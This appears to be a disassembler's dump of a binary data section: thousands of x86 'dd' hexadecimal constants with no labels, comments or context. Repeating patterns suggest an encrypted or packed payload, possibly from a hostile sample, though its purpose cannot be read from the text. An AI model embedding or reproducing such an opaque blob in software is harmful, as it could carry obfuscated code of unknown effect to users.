		dd 8AC7FBDEh, 0B78BF4D3h, 45F19C7h, 0A1080A11h,	0D38A7A96h
		dd 22BF8F9Ah, 7C3210E1h, 0AAA76211h, 0F882D540h, 0D3384977h
		dd 1D88A7h, 0EC7C0000h,	0AA9ED2E5h, 87895640h, 8A67AF7Ah
		dd 0A3F626AAh, 0D52120E8h, 426F49h, 0A7920000h,	3499975Ah
		dd 0D38AC81Eh, 0F3BF459Ch, 0B7DB23AEh, 0DA736255h, 0C141CD50h
		dd 7774D11Ch, 0B8C0E14Bh, 8A6BDB61h, 0F6D38AD5h, 0F30AEBD2h
		dd 0FF1F3614h, 0AABBFFFFh, 804C9D7h, 86851333h,	3C000002h
		dd 187626AAh, 0CD9A1868h, 79A53074h, 0E4509DE4h, 6DF9040Dh
		dd 0D6429390h, 9E75D579h, 0B7424221h, 494B0218h, 0C9D9AC47h
		dd 0D8FFE652h, 62D9AC46h, 8E5BD120h, 2CC57386h,	142319E4h
		dd 0F2FC8615h, 0CE711B2Ch, 0ED198D0h, 3011h, 70D19800h
		dd 861BEB73h, 60BF757Ch, 0D21DDBA2h, 61DD9ACh, 791E720Ah
		dd 0CD6AA979h, 928B19Dh, 7AD9AD8Bh, 0A2189F25h,	630ED058h
		dd 0B2h, 0C9D7AAF6h, 32710804h,	530E14A3h, 0FC95834Eh
		dd 43D32BB2h, 8AC82F0Ah, 0DB34F3D3h, 68060CD9h,	0D74D9091h
		dd 10EAF73Ah, 25FCA57Ch, 0FB5BFFF0h, 0DDE2222Bh, 151CD389h
		dd 0EBE272C8h, 0D389DDD0h, 0D949D550h, 0D7DE8D32h, 1AEF3502h
		dd 0F596FF4Fh, 35D9AE9Ah, 0C8701CEEh, 873B0E3Ch, 1BE666ACh
		dd 0ED70CA13h, 54E359A4h, 0BBC35ECEh, 42843232h, 8886B074h
		dd 4BD0Ah, 0B0394600h, 0C40917EAh, 0CD9DB26h, 57A2E37Eh
		dd 6564AAB7h, 243B04C1h, 0F64B13DAh, 0BC8125ACh, 41DC6E77h
		dd 55E9BD40h, 56B99CF5h, 9179CD63h, 9657A724h, 0A52869F4h
		dd 5AA75C01h, 43238724h, 819E8B73h, 6EC57382h, 858C65D3h
		dd 161FE278h, 0A1FF87C3h, 173BE4D1h, 0CB741F0Fh, 0FA004CDEh
		dd 19E42DD6h, 17CA1423h, 42020093h, 0AC62810Bh,	0D9D881D9h
		dd 74031814h, 6200D5B8h, 0F83AD9ACh, 5CA633E9h,	61A8B3DAh
		dd 0BD68D9ACh, 0C0172AE6h, 0BE0D3C3Ah, 70712E14h, 7C29E3EAh
		dd 32E9DFCEh, 2D3EE368h, 0E25CB0D9h, 3DCE5F5h, 0E946F2FBh
		dd 2F75C852h, 0F4C900DAh, 0EE5F5E1h, 0FFDAB305h, 0C8E5F5E1h
		dd 54E8C436h, 0F1A398Eh, 731AEA70h, 0E5F5CD68h,	71D17DA8h
		dd 6F17h, 0DAAAAA00h, 8AC7A8B3h, 91BD68D3h, 8AC82908h
		dd 74EDED3h, 0D38AC834h, 1EE529F4h, 66FB83A0h, 3887891Eh
		dd 835EF5F8h, 226CF195h, 0C7DAFD94h, 0C35ED38Ah, 0E323F834h
		dd 8AC7BF9Ah, 701A0DD3h, 51F50004h, 696E8DC1h, 0DFAF72AAh
		dd 6DB14042h, 0F622B3F0h, 8AA8C9EFh, 5CE625D3h,	0F1C48D1Dh
		dd 31D38AA8h, 0CE131DEAh, 8459C552h, 29D4767Fh,	0FE265CA7h
		dd 0D1246177h, 1382CC5Bh, 2CB5FEECh, 0F18C5BF0h, 9C65AE3Bh
		dd 2AD0E7A0h, 9AF3454Eh, 0D38A6DBFh, 8CA4CA88h,	55F8404Fh
		dd 626B33CEh, 0D38AAB4Fh, 0EE5AA7E9h, 3766BA51h, 0FA14F334h
		dd 0FFFFFF4Eh, 0D55AA70Fh, 310E3ACFh, 4EDEAE9Ah, 8AC83407h
		dd 0E529F4D3h, 46A42968h, 59139AF6h, 4E12DB0Fh,	8AC63205h
		dd 0DE2BF6D3h, 41309D0h, 0DC450E1Eh, 1C167FCFh,	2BD9ACCFh
		dd 0CF27325Bh, 3CEBD9ACh, 9B984116h, 0D2AFBF4Ah, 320907D2h
		dd 60775E10h, 0D3D9ACCFh, 2AB7F69Ch, 6D3B1BE6h,	0ED1102Fh
		dd 49F6h, 70D17B00h, 0B16EB73h,	0D8777E84h, 9F4FD76Ch
		dd 0A62FBF0Fh, 0D38AC893h, 704B8897h, 0B0D38AC8h, 0DDF89175h
		dd 5DD38AC7h, 7F755CC6h, 83D9ACD2h, 0F73B8664h,	0B8A24EEh
		dd 0D9ACD22Ch, 3DC2489Fh, 0ED1117Fh, 10F46h, 5AA7CB00h
		dd 81CD9997h, 0FA072DD2h, 0AD37EBF7h, 61AD20E2h, 48D8AC98h
		dd 8A2B3601h, 0E72FFAD3h, 40DA276Ah, 0F02CB5FDh, 3FC2CE5Bh
		dd 56E82A01h, 0D36B76BBh, 29B0FE43h, 97FE24F3h,	0D38A2F8Fh
		dd 0C16568A9h, 52A8357Ch, 3170C3CFh, 0CDB70ACh,	0AA233B10h
		dd 0D38A2F8Fh, 0F08E9493h, 55B1B26Fh, 0B73678C5h, 3D88066Fh
		dd 9D88D9ACh, 85503989h, 85D9AC3Dh, 0F2C58C9Eh,	36D9AC3Ch
		dd 10FB2BEBh, 21A8B2AFh, 0DFD0FD42h, 7EC35BC6h,	0D1DA930h
		dd 0B9DE70B0h, 0DFCF6916h, 0D269A772h, 79360148h, 2FFADFD1h
		dd 16246AE7h, 0BB974F73h, 51D36E91h, 0BA11B6D1h, 0C7E3F12Fh
		dd 70000001h, 11CAE2Fh,	0D528F2FFh, 9D603ACFh, 0A4B94D98h
		dd 0ECB935Ah, 0DCCD2CDh, 579EE479h, 9869AAB7h, 0AF327FC2h
		dd 92FB431Fh, 0CD6353C7h, 0A712EF4Bh, 0A5B0D957h, 65D38AC7h
		dd 0C65BE3BEh, 451079BBh, 0C5D38AC8h, 89F6305Eh, 0AE861E8h
		dd 1312EF7Fh, 11CC5CC6h, 0EB7370D1h, 0ACD1F4E2h, 0DAB303D9h
		dd 0D9ACD1FFh, 993EE403h, 280F9682h, 9BD9ACD2h,	8339BE44h
		dd 420ED111h, 0DBh, 0AF26AAD7h,	1F88A3B4h, 73BE53F3h, 0D727B26Eh
		dd 6BBB1A16h, 95D38A3Eh, 58A5418Ch, 0CC989459h,	62A03171h
		dd 233B2899h, 0AC4CE4AAh, 76BB24D9h, 0FE4EDC6Bh, 0B1D21B63h
		dd 0D9AC4CA6h, 62A2BF6Ah, 80829997h, 5556CB80h,	98A98F1h
		dd 938EDFD1h, 1AEF368Bh, 5D0D112Eh, 0EE3170CDh,	48E75DA4h
		dd 6AA887BDh, 8426A7F7h, 8C7475B9h, 0BA110822h,	0D3785ED4h
		dd 6C000000h, 3D00DA23h, 0C15CEEF3h, 899436C3h,	50AD798Ch
		dd 1AFF8F4Eh, 39C0CED1h, 4392906Dh, 945DA6BBh, 0DB266BF6h
		dd 0E6EF7F03h, 0CD6352D3h, 0A70EFB57h, 3B802557h, 9ECAEDE4h
		dd 0D34ED38Ah, 773E04B7h, 0F23F02D8h, 0BAD365ADh, 0D38A9B9Fh
		dd 52E98463h, 461178C8h, 1D38A9Ch, 69E816B8h, 0E03F12ACh
		dd 0A77FE222h, 0C099975Ah, 0CDFC8FC1h, 0E058F7DCh, 0D1A1B155h
		dd 8A7F9DB8h, 9C869DD3h, 535B0AB7h, 0EA819E8Ah,	0E6117910h
		dd 0A11D9B1h, 0FC3E431Eh, 0B1E5C295h, 0CDB46D9h, 30E2EE7Eh
		dd 861D5674h, 809C44Eh,	0A6464FC5h, 6BE1AFDEh, 0DF228E34h
		dd 69B50812h, 9F62A260h, 38D14F92h, 0D13CE8FDh,	21604CF6h
		dd 0EE330EDCh, 3A735E3h, 0DA000000h, 58A761E0h,	0C3CE9B91h
		dd 2C77023Eh, 90926FA5h, 0F03ECB41h, 58A633E9h,	0C7CE9B91h
		dd 296B0632h, 878960DCh, 6858CE7Ah, 240Ch, 51242489h, 4B9h
		dd 244C0100h, 9685904h,	89000002h, 0FD682404h, 8900005Eh
		dd 8C682434h, 8B062767h, 0C4832404h, 4B716804h,	24890000h
		dd 24048124h, 4, 4EC835Eh, 8F240489h, 34FF0846h, 0C4815E24h
		dd 4, 582434FFh, 4C481h, 5EE90000h, 2FFFFBD7h, 3DE8408Eh
		dd 0C1B7CB11h
		dd 0DA160879h, 0C3B8CAF4h, 3062776h, 79E0FFC5h,	5650A727h
		dd 405F4152h, 6041DD3Bh, 99741B99h, 2D4FA7C0h, 9239E449h
		dd 95776232h, 0E5454E3Ah, 2D47583Dh, 267E19E5h,	4F55A586h
		dd 0A7546A4h, 33047BCCh, 4B4DC724h, 88337CB9h, 7B44B2B2h
		dd 5D20B0AAh, 3F0E6597h, 0D134560Fh, 0A83FA747h, 3C3238A4h
		dd 0FB30030Dh, 47779E96h, 5A15770Dh, 1C5EFFF4h,	8D110B1Bh
		dd 222C7D9Dh, 39B806h, 85890000h, 6221F35h, 0E8h, 0D055800h
		dd 89000000h, 39E903h, 0
		dd 0Dh dup(77E6h), 8DFF77E6h, 2778E18Dh, 1D9D8906h, 89062229h
		dd 2233F18Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 85C7531Fh, 6222D31h, 6CF0h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 34C35545h, 0C392FBC9h
		dd 0C7FB8B0Bh, 2230E585h, 6, 6830F00h, 81000000h, 0F7E0CAE7h
		dd 0DB5FF66h, 6A062214h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 42E2C353h, 0B9931663h
		dd 14E92E32h, 5B000000h, 0B2B49B3Eh, 19DBC189h,	6AE2D934h
		dd 71941453h, 0FF9E70B9h, 22206595h, 8E0F6006h,	6, 860Fh
		dd 7E80000h, 94000000h,	754A9927h, 8C0F86D1h, 0
		dd 6A615Eh, 307595FFh, 0C08B0622h, 1D2A58EBh, 0E11B67Fh
		dd 3227E7DCh, 0DF1F7FFCh, 79D5EFE5h, 935D4744h,	0A86F792Eh
		dd 6D19C2BAh, 0B5E6FCEBh, 0BA4E2E8Eh, 76508D28h, 28D94AD5h
		dd 4FFCA2h, 0BDCA5BFBh,	0F80CD2DDh, 0DB1C9C4Eh,	421961EAh
		dd 24516528h, 4AFE220Bh, 68EAB034h, 51419E34h, 8F2EB188h
		dd 0DE9F79Bh, 0B4000000h, 4BEF36h, 2 dup(0)
		dd 4D0E9h, 0E05B2200h, 54F39889h, 0BC8BF43Dh, 221D6C55h
		dd 8BB8C6CBh, 2D660660h, 868BE261h, 0F33C57F4h,	6E53BA85h
		dd 3CA251Eh, 4292A676h,	0D387411Dh, 34057753h, 0A0B9F847h
		dd 0CE1F2C53h, 75471AFh, 89B2C677h, 8FE61944h, 1C41FA82h
		dd 4192ADDFh, 125A5F2Ch, 1DD4D223h, 22D60746h, 0EA5BB137h
		dd 727BA08Bh, 2F4A9642h, 868BE25Dh, 83747F2h, 285798DBh
		dd 80B1D81Bh, 0D11E4FF8h, 24499AA9h, 77A4E956h,	0D49E8108h
		dd 70189614h, 0FD74EC31h, 0D49DB77Bh, 5FE89094h, 98CFD3Ah
		dd 0B1DB8E6Dh, 8AD60901h, 0B345849h, 6FD8A1EEh,	84A1FF3Eh
		dd 3A31A7C8h, 68D7B847h, 0B782F63Bh, 145784C3h,	814880D5h
		dd 2039C367h, 0EFBDA8D3h, 473A31DBh, 0EF3C7F3Eh, 9F85FF76h
		dd 1F5E1A82h, 0C0078C1h, 98257527h, 9C10473Ah, 473A984Ch
		dd 86350AA1h, 387FF25Ah, 2D9651F3h, 0B8CFC4C1h,	29F428E1h
		dd 8Dh,	3A0577F1h, 1424F8DDh, 0F9473A3Bh, 8D5F6EB2h, 473A3B7Fh
		dd 0FF2C1762h, 2F7CC7B2h, 6AC03821h, 0C6096F92h, 51F3DB8Bh
		dd 62Eh, 3E4C4900h, 7703D301h, 9404904h, 6485C47Fh, 3A3B6088h
		dd 0E7269547h, 384451B6h, 93C07B01h, 0A1CC1150h, 6453673h
		dd 0CBD7B0D5h, 0C0C08D69h, 2677D4BAh, 5198C407h, 0D2671128h
		dd 2F4E9FACh, 674CADECh, 3AF265B5h, 5E2B8847h, 3275B0E5h
		dd 0C029DFEEh, 4EFF8CA8h, 0A4CF0E3Dh, 0DF36117Bh, 38077747h
		dd 96B5C6EBh, 48900C71h, 0AD473A3Bh, 6C8BD20Eh,	0DFAF85E3h
		dd 74180960h, 2A559ACBh, 7140C81Dh, 9AE45524h, 0CB366AADh
		dd 0D9F79AADh, 47E251F3h, 28000000h, 0EB380777h, 598AB9C6h
		dd 0E2642AFh, 67A8C380h, 0B6FB2817h, 62B78C3h, 569BC873h
		dd 85CB1823h, 3A161C5Ch, 6B1639BFh, 6E51F3D9h, 47h, 0C17E0C09h
		dd 777C393h, 0B2C6EB38h, 270A4489h, 2C1B63C1h, 47749C5h
		dd 96BE3F49h, 0CBBE96C2h, 0F53065A4h, 325855B2h, 8B2B81AFh
		dd 0B1F0CBF8h, 0CA13416Ch, 3A6DE93Ah, 38B04147h, 0F3855C11h
		dd 17951h, 77A10000h, 0F9DE3B08h, 3A3B1723h, 7EB3FA47h
		dd 0DBE23E0Dh, 3C5DE696h, 0DFDB594Bh, 3AEA93B0h, 192C704Fh
		dd 0A2A4E33h, 54A1C685h, 0ADC81D2Ah, 570C6C77h,	99CA7906h
		dd 2EFE1B5Ah, 4918105Dh, 52A7B32h, 7CA5CC77h, 0E9563910h
		dd 136065B6h, 6F8EDF6Ch, 0B8ED5622h, 7785277Dh,	77411850h
		dd 2B7F2D12h, 0CE411850h, 3048B1EFh, 54BF88F4h,	0F526216Bh
		dd 3A6BD4B8h, 3EF672FFh, 8794F54Eh, 0E40754F3h,	0CA8757B8h
		dd 0EF4BD170h, 0F0h, 64AB5837h,	2AAA6903h, 109B4918h, 65DEAEC3h
		dd 0C277050Ah, 1E5D8EBDh, 117DBADFh, 9EC2E132h,	0E15A224Fh
		dd 3F0C7FBCh, 81BEC1EEh, 0EF09F85Ch, 0F573FC3Bh, 9BF24D3Fh
		dd 0D1AA067Bh, 2CD34Bh,	587B0000h, 940861A8h, 11736CA4h
		dd 23F12289h, 0C73A3B17h, 43C82029h, 0D421468Dh, 10419FA8h
		dd 736CAC9Ch, 0C32A8191h, 830Ch, 525FF600h, 95C71D26h
		dd 0A47891DEh, 49183D13h, 1D2DFF24h, 0F0411834h, 3AA67BDh
		dd 54EF9DD2h, 588F43Dh,	439A6F24h, 5D6D3FECh, 0B04118CCh
		dd 1E7BBAFDh, 551A9BA5h, 47611A29h, 3C4997D2h, 1867A160h
		dd 96D25F41h, 3A55EE9Eh, 3E6029DAh, 43008E4Eh, 892AD312h
		dd 0E700433Ah, 38B1A035h, 3162494Fh, 66B790FCh,	0C1CECBAEh
		dd 95D35E82h, 1B7CC3B0h, 534E3C81h, 0B9DEDD45h,	0E2330C7Ch
		dd 0D8729DC3h, 1E6AAB58h, 72B5F025h, 0F2368715h, 0DAE7491Ah
		dd 55689B2h, 709BA4E8h,	0E5023D4Fh, 165BE4A8h, 6D88DD66h
		dd 0FC461637h, 9E05A57Ah, 6D1F1553h, 3BCCB5D2h,	148D17E0h
		dd 0FB242F75h, 4865B691h, 7FD50641h, 2D9676F2h,	0C8E5180h
		dd 0C2C90655h, 6A125F85h, 0E7BB8D1h, 9FC5E035h,	6414B74h
		dd 84AD5h, 5FB80000h, 0C71D2652h, 677BC06h, 0B9C3E83Dh
		dd 68105D8Eh, 19618EDFh, 0CAB4F92Ah, 7B03287Dh,	27529FCCh
		dd 0DDA2CF1Ch, 8BF03D6Eh, 81696FBCh, 4ECh, 240C8900h, 0C181E189h
		dd 4, 8704E983h, 515C240Ch, 0C181E189h,	4, 4E981h, 0C870000h
		dd 1C895C24h, 6D596824h, 14890000h, 0B8505624h,	6277955h
		dd 8958C689h, 0EC815EF3h, 4, 81242489h,	42404h,	815A0000h
		dd 4ECh, 240C8900h, 8B9h, 89D10100h, 34FF5919h,	0C4835A24h
		dd 2434FF04h, 4C4835Bh,	0FB04C6E9h, 0A8B7ECFFh,	0A1C429D2h
		dd 7DA3B894h, 0C5030627h, 62FE0FFh, 0E68073B2h,	53EA3314h
		dd 0EF586650h, 8FCE5B9Dh, 8D8D0310h, 6277EEDh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0F3C35545h, 45B5DFFh
		dd 0F18D8936h, 0FC062233h, 2D3185C7h, 5B840622h, 0B5890000h
		dd 6223329h, 30E585C7h,	622h, 0BA660000h, 0B5FFBD9Bh, 62219F5h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 5C35646h
		dd 2961A7D5h, 2202099Dh, 2DBF6606h, 6595FFA7h, 6A062220h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 6686C353h, 802604BFh, 6AE1E0h, 307595FFh
		dd 0C08B0622h, 0CCA66FEBh, 69C78221h, 8BE0191Fh, 42B6BE8Fh
		dd 8292E8EFh, 79D8721Ah, 0EACB4E61h, 9997B771h,	0D55FEDDAh
		dd 46955D69h, 0C7DA1BF2h, 0BC2554F1h, 12D16931h, 3FC3E662h
		dd 7E948BA7h, 8FC029F6h, 7FCF439Dh, 0D3CFC748h,	3A0AE4B8h
		dd 5D1912FEh, 13C51F05h, 2BA79F00h, 87991A33h, 0DBA52B21h
		dd 0AF2CD23Dh, 9A4A1CDDh, 0CB3C18D9h, 90D78930h, 60EB18h
		dd 17h dup(0)
		dd 0E9000000h, 0AE3h, 0AD7E9h, 86FC6800h, 0CE90627h, 68FFFB03h
		dd 6278855h, 0FB0302E9h, 88B468FFh, 0F8E90627h,	9CFFFB02h
		dd 0F23F56F1h, 6E53BA89h, 0C6CB2221h, 306188B3h, 9096F14Eh
		dd 48F787D0h, 0BD8AF021h, 201B6D52h, 8BB4D8C9h,	0CE0F960h
		dd 411D44FCh, 77A57D11h, 0FE234403h, 3A3B1A2Eh,	0C7BCFF47h
		dd 7018D01Eh, 0CB124E63h, 0C1961AEh, 3AD54890h,	0CF0EAD47h
		dd 36117BA4h, 35B8C4D1h, 24C8F8D2h, 55B9A6Eh, 82BDCBE0h
		dd 5C6C0065h, 0B1473A43h, 6A87A6FAh, 95F22320h,	0E6D1AA2Ch
		dd 61BF5E75h, 72073658h, 5B88B7C7h, 75A6D918h, 5C535638h
		dd 56107678h, 8DA2F332h, 0E92643FCh, 2D78A49Fh,	0A3A0EB28h
		dd 0FC4B347Dh, 4AF982AFh, 0BB08FB19h, 0B2DBCE5Eh, 0F1BC491Ah
		dd 53F09B98h, 0E72AD838h, 0E5D2EA82h, 7C3F411Dh, 0C17A022Fh
		dd 577ECA6h, 0D36B603Ah, 166A958h, 20571440h, 4C9031CEh
		dd 0FF4851B0h, 0D0162E94h, 0D66EB27Fh, 0F3CFF79Ah, 47E254h
		dd 58280000h, 5FBC66A9h, 8E1BCE6h, 3A3CB986h, 4190CC59h
		dd 5565371Ch, 0B8473A58h, 67B493FBh, 0DDF0544h,	473A58FDh
		dd 5FC19D10h, 470477C7h, 93D6122h, 968173Bh, 42A6B620h
		dd 93C100C0h, 0A59AB2C3h, 26h, 66A95889h, 0BDCD5FBCh, 5F473A3Bh
		dd 0C75F865Ch, 22470477h, 499AA9D5h, 0B25EF62Ah, 74E45E27h
		dd 20312684h, 0E65F20FCh, 27D69B26h, 5578D19h, 34E8014Eh
		dd 491814E3h, 0A07CA10Ch, 41181C9Ch, 4E81E762h,	4BD1B513h
		dd 18FA6h, 0AA586C00h, 566A0267h, 0BB473A3Bh, 3B3246D6h
		dd 0DAE7473Ah, 254095AEh, 3D72A3E2h, 3293F44Fh,	0B3D24BC2h
		dd 7496A351h, 4B05F5D8h, 138BD408h, 1E2D525Fh, 1761AECDh
		dd 60BCFF2Ch, 52083359h, 0A958D36Bh, 0F551BC66h, 0F3CFF79Ah
		dd 97E12E54h, 473C7FACh, 0A6A07B96h, 0E9346851h, 5Ah, 66A95831h
		dd 0BDCD5FBCh, 50473A3Bh, 0C81D2653h, 5FB06AADh, 7387157Ah
		dd 0A6473A3Bh, 0EE3AF217h, 3473A3Bh, 5FD874A8h,	3B96A27Ah
		dd 693F473Ah, 3A2C43B7h, 582683BCh, 2DD3A8EBh, 181C2715h
		dd 0A71B8E4h, 9AB2613Dh, 22A5h,	94E73400h, 2469D6B9h, 5695C6F9h
		dd 0A9587A0Ah, 0CD5FBC66h, 473A3BBDh, 5F865C5Fh, 470477C7h
		dd 589AB29Fh, 6A0267AAh, 473A3B4Ah, 8693F4C7h, 0F0154BF8h
		dd 1F76D1BBh, 2060493Ah, 0E02D1866h, 17EC7EA2h,	0C51B8437h
		dd 4BE65F29h, 0AD833B4h, 65B56780h, 88473A29h, 0CAB2FF25h
		dd 71E74FCBh, 0E619AFF5h, 0A27A5F3Ch, 473A3B96h, 0D9EC307Bh
		dd 66A95801h, 27525FBCh, 9DDC6712h, 9A861C47h, 54F3CFF7h
		dd 33E2h, 0A9582800h, 0CD5FBC66h, 473A3BBDh, 0D73C5D50h
		dd 3A3B3545h, 8FD5D847h, 77C75FF7h, 0B29F4704h,	0A2A1EA27h
		dd 3B83D745h, 4776473Ah, 23A54519h, 89000000h, 0BC66A958h
		dd 3BBDCD5Fh, 5C5F473Ah, 26525F86h, 9CDF6C13h, 0EF2C1140h
		dd 0A07CA09Fh, 9F470477h, 0D1A59AB2h, 89000000h, 267AA58h
		dd 3A3B566Ah, 0A3F0BB47h, 0EDDDDDA6h, 48D06093h, 0AA9FED14h
		dd 6B0166E5h, 473AE25Fh, 51B8FBB2h, 3A0577F5h, 5FD36B60h
		dd 0CC112A52h, 3360DFAFh, 6963B1F0h, 0E8533978h, 9D3978BBh
		dd 1A29525Fh, 6D76AAC9h, 0CFF79AB1h, 3BE254F3h,	28000000h
		dd 0BC66A958h, 3BBDCD5Fh, 0E750473Ah, 0F64ECEACh, 712D6C75h
		dd 4E3D7A5Fh, 5F13A3F1h, 0C91A2952h, 404B76AAh,	97C47F0Dh
		dd 0B2491554h, 4AA59Ah,	0E7340000h, 3A79AA95h, 525F4EE6h
		dd 23F91E2Dh, 473A3B17h, 6B6DB3FAh, 5F6D2976h, 3A3BBDCDh
		dd 29525F47h, 6BAAC91Ah, 2773290Eh, 3A473A3Bh, 79A4E952h
		dd 17AFF5B8h, 525FC75Fh, 0ADC81D26h, 2414A77h, 0EA27B258h
		dd 0A579A7A4h, 0F251E65Fh, 0D52C1929h, 71A628Fh, 3A8F4595h
		dd 6CBC7047h, 81473A8Fh, 67A6152Ah, 0BA8FF936h,	0DF3669D2h
		dd 4C91AAD2h, 3A8F6AB0h, 8FE99847h, 3B5CE795h, 2BE81B4Ah
		dd 82DEBB1Ah, 132C5041h, 0D19B09C2h, 0A1C9A388h, 54473AFEh
		dd 0BA3E3B59h, 0C374552h, 5DE692DFh, 0D1BBC61Ah, 463D1F76h
		dd 0CABBE0F9h, 0DB13FD33h, 0F791CF23h, 491899A4h, 67D849h
		dd 951D8503h, 23730152h, 3E41189Ch, 8EA3F04Bh, 371D4EFDh
		dd 98422E4Ah, 0DB559847h, 9D44E82Bh, 0D4A4F15Bh, 6CE1356Bh
		dd 494BD175h, 1Fh, 1C0577D1h, 3A3B7880h, 0DF1E9D47h, 3BAAFE8Eh
		dd 0A958473Ah, 92A7D54Fh, 0EC0F5CE7h, 5FC842ADh, 0C01C2752h
		dd 9BD2D3B9h, 0E287BB70h, 51B3E023h, 603C5DA2h,	491A07E5h
		dd 2C1761AEh, 1B7239F0h, 0E4054A39h, 305DE708h,	70A5084Fh
		dd 705590A4h, 40FB8D4Bh, 24ADDE13h, 0AF7B1007h,	5B88CB39h
		dd 4CE800F1h, 6EC20542h, 0F4285E3h, 0AA45A91Ah,	26h, 8DBAC0CDh
		dd 0D8671358h, 0EB29688Bh, 67AA585Bh, 3B4E6A02h, 0E6C3473Ah
		dd 1374B794h, 0A3CA7906h, 1BACh, 0AA589600h, 64DD0267h
		dd 0BAD2A92Eh, 2AFC20C4h, 473A760Ah, 4653B407h,	2BE30A39h
		dd 1A29525Fh, 12F69C6h,	3680000h, 3A3B4169h, 0DBF9B447h
		dd 62A5580Bh, 77D36BB8h, 78801C05h, 9D473A3Bh, 91AED11Eh
		dd 525F845Eh, 9AC51B28h, 0CFF79A00h, 33E254F3h,	28000000h
		dd 41E4E65Fh, 0D042B94h, 87C885D7h, 0BDCD5FDFh,	50473A3Bh
		dd 0D9182753h, 77C75F3Dh, 6A101D08h, 3BFF0BDDh,	9B12473Ah
		dd 9AB28258h, 3FA5h, 0A5588900h, 3B80A844h, 4675473Ah
		dd 7A5F5F07h, 1444D3Dh,	63FE3D5Ch, 0E7065796h, 0D7DBEFB9h
		dd 7E31473Ah, 0D16E1C19h, 6333618Ch, 877C75Fh, 7965DE3Bh
		dd 69A107A5h, 2D1A60A1h, 9AB25FF7h, 603A0577h, 0A958D36Bh
		dd 0F551BC66h, 0F3CFF79Ah, 38E254h, 58280000h, 272068A9h
		dd 0AE74B7F6h, 3BBDCD5Fh, 5D50473Ah, 77C75F81h,	7F8B6104h
		dd 92473A3Bh, 0B202D81Bh, 3EA59Ah, 0CF340000h, 3A3B0D5Dh
		dd 0D36C1047h, 0DFDE6382h, 0A958ED81h, 0CD5FBC66h, 473A3BBDh
		dd 0FE3B5C5Fh, 0D06CB08Bh, 477C75Fh, 0D4F94649h, 3BADFDAFh
		dd 6D40473Ah, 0F2DF512Ah, 0CA8DAAF5h, 9AB2D38Bh, 15460177h
		dd 3A3B3447h, 0E107D247h, 0E30A3543h, 4601772Bh, 9AA5D421h
		dd 0D7F62A49h, 55EE9Ah,	141068E1h, 10B0DB64h, 473A418Fh
		dd 1A5DEA90h, 0F3CE4638h, 0FEB39351h, 2106FFFFh, 3A393F4Bh
		dd 46920A47h, 0AB473A39h, 207C3F00h, 3BC4E88Ch,	0B646473Ah
		dd 34473A3Bh, 473A3BE1h, 872F71D2h, 631229E5h, 0B1EF2E19h
		dd 3AA0C717h, 0A0314547h, 63B3473Ah, 51873AA0h,	0D73C5DA2h
		dd 4894AFDAh, 1DA2FABEh, 0E2BA1F89h, 811FA6D6h,	493F703Bh
		dd 4F8EADFEh, 0BE05FE1Eh, 0A550C359h, 7E3D8F3Dh, 95FD8188h
		dd 7CC3DC2Fh, 306h, 2E39028Bh, 42AD9AE1h, 0FA15325Dh, 107BC4B5h
		dd 89E05F2Fh, 876BFA1h,	9BEFD03Bh, 2C5C45ACh, 0C5B7F813h
		dd 8FE8137Ah, 1DBDCD1Dh, 0BA6A2041h, 0DD3A0577h, 3B1424F8h
		dd 0B2F9473Ah, 463D5F6Eh, 3B3D4DDFh, 0DDD0473Ah, 1B187D9Ah
		dd 6083D06Fh, 0ECEF6A3Ch, 4D60491Ah, 44526222h,	7360411Dh
		dd 36E6CB2Ch, 411D44E2h, 1978A417h, 0BA93E734h,	0E23372D1h
		dd 0DACB9DC3h, 0B34F3D93h, 0E2BA9FF8h, 4B74C4D6h, 2D2C703Bh
		dd 0E2AD9CE0h, 0C6CB2265h, 8C588DB6h, 4B74C470h, 25429142h
		dd 54139A77h, 96E5345h,	4C444793h, 5103AA55h, 554C4409h
		dd 0A693C1ECh, 0D7A5F217h, 701C056Ch, 1665B2D7h, 9BB9E429h
		dd 2510242h, 935E37E5h,	0ECCF5B6Ch, 45FE8E8Bh, 0C4204824h
		dd 0E6D55FA7h, 726163BAh, 0F04B6697h, 84C7C699h, 22008963h
		dd 0EC295187h, 0C27FA5A2h, 6CA98EEBh, 28C42522h, 59FF7600h
		dd 5F9AC6F5h, 0B6FB122Dh, 9C287DC6h, 59FF1C48h,	0F66C847Dh
		dd 426FDCD0h, 43237725h, 0E7D659FFh, 51A45FB9h,	0A0C3102Bh
		dd 0F5940861h, 6657DF94h, 0CC6FBB71h, 2B8263D6h, 68AB98E6h
		dd 0AAD1DE3Bh, 5E15479Dh, 3324F811h, 1C6DF4BFh,	9496E991h
		dd 96A7D0CEh, 1AD8Bh, 0E05B2200h, 54F39889h, 0BC8BF43Dh
		dd 221D6C55h, 8BB8C6CBh, 2D660660h, 868BE261h, 0F33C57F4h
		dd 6E53BA85h, 3CA251Eh,	0B392A676h, 0D387411Dh,	64AB5853h
		dd 0ECF06903h, 7CB9491Ah, 32EF3512h, 7E3F38C1h,	7DBC5CA6h
		dd 0E8372C28h, 0F90E1D8Fh, 0CCEF4F3Fh, 9389BF3Ah, 8E91A2EFh
		dd 14Eh, 6681BAC3h, 9AF55239h, 325DEA95h, 0A8C37C0Dh, 0C1281767h
		dd 0C0CE07E9h, 53276883h, 0E4949DF4h, 7D0F305Bh, 0D7A0ABC2h
		dd 1DB33545h, 0F232D841h, 96A27A5Fh, 7B473A3Bh,	5C08Ah
		dd 8BCA77C4h, 3500355h,	0DFEB81E6h, 32473ABBh, 744367Bh
		dd 4653B8D9h, 9BDA0B38h, 6C2EA345h, 7C3F491Ah, 0C17A022Fh
		dd 364451A6h, 0DEAECB09h, 9FA3CDDFh, 4584C2ACh,	1D2DFF24h
		dd 0F0411271h, 64667BDh, 0BCC4BC4Dh, 0FC90B874h, 36854112h
		dd 5952ED4Dh, 0E65C6C00h, 0FAB14112h, 0DFCE5EBBh, 0B04F3231h
		dd 0E5B79CFDh, 4B6A66D5h, 242F7538h, 58B390FBh,	0F01B2857h
		dd 6681BACFh, 0CA750411h, 0FB065A99h, 7C5DB493h, 8D26338Bh
